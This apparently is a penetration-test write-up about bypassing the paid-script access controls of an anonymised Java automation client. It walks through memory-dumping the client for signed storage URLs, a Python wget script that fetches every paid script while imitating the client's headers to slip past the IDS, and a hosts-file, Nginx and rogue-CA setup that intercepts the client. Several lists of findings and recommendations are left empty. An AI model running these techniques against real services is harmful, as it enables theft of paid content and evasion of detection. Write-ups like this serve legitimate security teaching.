Bypassing Script Access Controls

It had been a while since my last serious #infosec #pentest test, but when an old client threw me a challenge over drinks, I couldn’t resist. The stakes were high: a new system his company had deployed, allegedly impenetrable, and he was confident I wouldn’t crack it. Little did he know how this would unfold.

Disclaimer

This penetration test was conducted a few years ago for a confidential client, with all actions fully compliant. The client granted explicit permission to share this write-up. Specific details have been anonymised to protect the client’s privacy, and the vulnerability discussed was responsibly disclosed and has since been resolved.

Be responsible when disclosing vulnerabilities publicly. Even if you have permission, do not post about vulnerabilities in proprietary software unless the system's architecture has been significantly changed, not just patched. Vulnerabilities may reappear if the underlying architecture remains the same.

In this case, the client has since developed a new system, making this post appropriate and responsible to share. The aim of this blog post is to show the importance of strong security practices in software development.

The Challenge

ScriptCo's flagship product is a Java-based client application used for automating tasks across various online platforms. My mission for this penetration test was threefold:

  1. Bypass access controls to gain access to paid scripts through the client application.
  2. Download all available scripts, both free and paid, from ScriptCo's ecosystem.
  3. Conduct all testing activities stealthily, without triggering ScriptCo's Intrusion Detection System (IDS).

ScriptCo operates an online platform where users can manage scripts for task automation. The typical workflow looks like this:

  1. Users create an account on ScriptCo's website.
  2. They browse a catalogue of available scripts, which includes both free and paid options.
  3. Free scripts can be added to a user's account directly from the website.
  4. Paid scripts require users to complete a purchase before they can be added to their account.

The Java client application serves as the core of ScriptCo's service. Here's how it interacts with a user's account and the available scripts:

  1. Users download and install the Java client on their local machine.
  2. Upon launch, the client prompts for login credentials.
  3. After successful authentication, the client communicates with ScriptCo's servers to retrieve the list of scripts associated with the user's account.
  4. The client displays all scripts (both free and paid) that the user has added to their account.
  5. Users can select and run individual scripts from within the client interface.

Initial Reconnaissance

Upon examining the client's JAR file, I encountered heavy obfuscation. While this presented a challenge for static analysis, I knew I had to explore alternative avenues.

Network Traffic Analysis

I launched the client and monitored network traffic using Wireshark. Despite encryption, I identified two key domains: cdn.scriptco.com and downloads.scriptco.com.

My investigation of cdn.scriptco.com revealed a DigitalOcean IP range, suggesting VPS hosting. I attempted an SSH connection through a public VPN:

$ ssh root@cdn.scriptco.com
The authenticity of host 'cdn.scriptco.com (203.0.113.42)' cant be established.
ECDSA key fingerprint is SHA256:uShJuUt5WqZnYZ8HnFX3Sj5LMZYete1xXYDaQ3q6bNc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Meanwhile, visiting downloads.scriptco.com in a browser returned a cloud storage “unauthorised” page, indicating the use of cloud storage for script distribution.

Diving Deeper

Despite the JAR file's obfuscation, I discovered that parts of it were encrypted rather than merely obfuscated, suggesting runtime decryption.

Memory Dump: Finding the Payload

To understand the script deployment process, I performed a memory dump of the running client:

ps aux | grep java
sudo gcore -o core_dump [PID]

My initial search focused on JAR files:

strings core_dump[PID] | grep '.jar'

This revealed intriguing URLs with a structure that would prove crucial to my exploit:

/scriptmaker123/taskautomation/script.jar?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIOSFODNN7EXAMPLE/20240925/us-east-1/s3/aws4_request&X-Amz-Date=20240925T000000Z&X-Amz-Expires=100&X-Amz-SignedHeaders=host&X-Amz-Signature=1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef

Analysing these URLs revealed critical information:

  1. Predictable path structure:
    • /[author_username]/[script_name]/script.jar
  2. AWS-style signed headers, including:
    • X-Amz-Algorithm: Signing algorithm (AWS4-HMAC-SHA256)
    • X-Amz-Credential: Access key ID and scope
    • X-Amz-Date: Request date and time
    • X-Amz-Expires: URL expiration time (100 seconds)
    • X-Amz-SignedHeaders: Headers included in signature calculation
    • X-Amz-Signature: Calculated signature

The short expiration time (100 seconds) was clearly a security measure to prevent unauthorised sharing, but I saw it as a potential weakness to exploit.

Unveiling the Infrastructure

Building on my initial findings, I performed a more targeted search for HTTPS URLs in the memory dump:

strings core_dump[PID] | grep 'https://'

This search yielded another crucial piece of information:

https://storage.ab1c23de4f5g.r2.cloudflarestorage.com/script.jar?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIOSFODNN7EXAMPLE/20240925/auto/s3/aws4_request&X-Amz-Date=20240925T000000Z&X-Amz-Expires=100&X-Amz-SignedHeaders=host&X-Amz-Signature=abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890

This discovery confirmed the use of Cloudflare R2 for script storage and distribution.

Crafting My Attack

Given the 100-second expiration window, I created a Python script that would:

  1. Trigger a free script download in the client
  2. Perform an immediate memory dump
  3. Parse the dump for the new URL structure

Once I had the URL structure, I utilised my knowledge of the script names from the public shop to create a list of wget commands for all known scripts, both free and paid. To exploit the short 100-second window effectively and evade detection, I used Python's multiprocessing to run multiple wget commands simultaneously. Here's a simplified version of my script:

import multiprocessing
import subprocess

def run_wget(url):
    subprocess.run(["wget", 
                    "--header=User-Agent: Java/17.0.2", 
                    "--header=Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
                    "--header=Connection: keep-alive",
                    url])

if __name__ == "__main__":
    # List of URLs generated based on the structure discovered
    urls = [
        "https://storage.ab1c23de4f5g.r2.cloudstorage.com/scriptmaker123/taskautomation/script.jar?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIOSFODNN7EXAMPLE/20240925/auto/s3/aws4_request&X-Amz-Date=20240925T000000Z&X-Amz-Expires=100&X-Amz-SignedHeaders=host&X-Amz-Signature=abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890",
        # ... many more URLs for every script in the shop
    ]

    # Create a pool of workers
    with multiprocessing.Pool(processes=multiprocessing.cpu_count()) as pool:
        # Map the run_wget function to all URLs
        pool.map(run_wget, urls)

The headers used in my wget commands were meticulously designed to mimic the legitimate client's requests:

By using these headers, my requests appeared identical to those made by legitimate users, significantly reducing the risk of detection by pattern-matching IDS rules.

Setting Up the Man-in-the-Middle Attack

With all the scripts downloaded, the next step was to set up a man-in-the-middle attack to serve these scripts to the client. I set up a local Nginx server with a self-signed SSL certificate to mimic the cloud storage domain:

sudo echo "127.0.0.1 storage.ab1c23de4f5g.r2.cloudstorage.com" >> /etc/hosts

My Nginx configuration was carefully crafted to serve our purposes:

server {
    listen 443 ssl;
    server_name storage.ab1c23de4f5g.r2.cloudstorage.com;
    ssl_certificate /etc/ssl/certs/nginx-selfsigned.crt;
    ssl_certificate_key /etc/ssl/private/nginx-selfsigned.key;
    root /var/www/html/cloudstorage;
    
    location / {
        try_files $uri /script.zip;
    }
    
    location = /script.zip {
        add_header Content-Disposition "attachment; filename=script.zip";
    }
    
    error_log /var/log/nginx/cloudstorage_error.log debug;
    access_log /var/log/nginx/cloudstorage_access.log;
}

Overcoming SSL Hurdles

Initially, I encountered SSL errors in the console:

[ERROR] Failed to establish SSL connection
javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
    at sun.security.ssl.Alert.createSSLException(Alert.java:131)
    at sun.security.ssl.TransportContext.fatal(TransportContext.java:349)
    ...

To overcome this, I created my own Certificate Authority and added it to Java's trust store:

# Generate a new root CA key
openssl genrsa -out rootCA.key 4096

# Create and self-sign the root CA certificate
openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1024 -out rootCA.crt

# Convert the root certificate to DER format
openssl x509 -outform der -in rootCA.crt -out rootCA.der

# Import the root CA into Java's trust store
sudo keytool -importcert -alias scriptco-ca -keystore $JAVA_HOME/lib/security/cacerts -storepass changeit -file rootCA.der -noprompt

In this penetration test, focusing on network vulnerabilities instead of attempting to break encryption or reverse-engineer the Java client led to a successful exploit. Here's why this approach worked:

This highlights that sometimes, effective attacks don’t involve breaking encryption or reverse engineering but rather exploiting broader system networking weaknesses. Here, the script delivery mechanism was the key vulnerability.

The Breakthrough

With the setup in place, I successfully:

This vulnerability nullified the distinction between free and paid scripts, posing a significant threat to ScriptCo's business model. This vulnerability allowed me to bypass access controls entirely, without needing to break encryption or reverse-engineer complex code.

Wrapping Up

My penetration test revealed key vulnerabilities in ScriptCo’s script delivery and access control systems, primarily:

Based on these findings, I recommended ScriptCo:

Lessons Learned

Several key takeaways emerged from this penetration test:

Conclusion

This engagement reinforced why I enjoy penetration testing—uncovering vulnerabilities and helping companies strengthen their security. In this case, combining reconnaissance, man-in-the-middle attacks, and careful replication of client behavior led to a full bypass of ScriptCo's access controls.

Avoiding detection by ScriptCo’s IDS required a stealth-focused approach from start to finish, revealing opportunities for improvement in their detection systems. Continuous security testing and a defence-in-depth strategy remain crucial for maintaining robust security.

By sharing these findings, I hope to contribute to the broader cybersecurity community and help organisations strengthen their defences. Penetration testing is not just about finding vulnerabilities—it’s about helping to build stronger, more secure systems.